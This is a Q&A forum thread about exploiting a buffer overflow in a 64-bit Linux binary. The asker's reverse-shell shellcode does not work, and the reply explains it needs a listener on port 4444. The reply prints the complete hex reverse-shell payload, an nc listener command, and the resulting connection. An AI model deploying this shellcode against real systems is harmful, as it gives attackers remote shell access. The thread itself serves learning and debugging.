1

I'm working on exploiting a simple 64 bit linux binary. I got control of RIP by exploiting a buffer overflow and using a jmp rsp to get control of the progrm.

However, I'm having trouble with the shellcode piece. I'm not savvy enough to write my own, so I've been using some I found online. The shellcode needs to get me a reverse shell on port 4444.

Just for testing though, I tried some basic shellcode.

Works - http://shell-storm.org/shellcode/files/shellcode-806.php

Doesn't work - https://www.exploit-db.com/exploits/35587/

The shellcode in the first link works. The one in the second did not.

I stepped through the program and each instruction lines up. However, after the last syscall, the program continues to execute the stack instead of exiting the thread.

I could really use help on it, I've been stuck on it all day.

1

I've tested these two shellcodes and they both work.

I think that you're missing the point of the second one. It's said :

NOTE: This C code connects to 127.0.0.1:4444

Meaning it's trying to connect to port 4444 on localhost (127.0.0.1). If nobody is listening on that port, then it won't connect and just trying to execute whatever is after you syscall.

Try to execute it again, but this time you need to lauch some process waiting for a connection on port 4444 before executing your shellcode, say netcat

$ nc -lp 4444 -vv 
listening on [any] 4444 ...

And then, when you execute your shellcode

./execshellcode64 "\x31\xf6\xf7\xe6\xff\xc6\x6a\x02\x5f\x04\x29\x0f\x05\x50\x5f\x52\x52\xc7\x44\x24\x04\x7d\xff\xfe\xfe\x81\x44\x24\x04\x02\x01\x01\x02\x66\xc7\x44\x24\x02\x11\x5c\xc6\x04\x24\x02\x54\x5e\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\x56\x5a\x56\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x0f\x05"

nectat warns you (because of -vv meaning verbose) that there was a connection on that port

 $ nc -lp 4444 -vv
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost.localdomain [127.0.0.1] 40234

That's the connection initiated by your shellcode.

Hope this helps !

Note : execshellcode64 is just a personnal program I made for testing purpose. It's not actually a real command.

  • Do you mind sharing your execshellcode64 program? The one I wrote up is exhibiting similar problematic behavior. – Smipims Aug 3 '15 at 19:20
  • It works for the /bin/sh shellcode, but I get an illegal instruction on the "syscall" when I try the netcat shellcode. Any idea? – Smipims Aug 6 '15 at 22:41
  • 1
    I got it working. I'm not sure how. After just taking a break and coming at it again, it started working. – Smipims Aug 7 '15 at 6:12
  • Glad it helped then :) – Hackndo Aug 8 '15 at 17:01

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.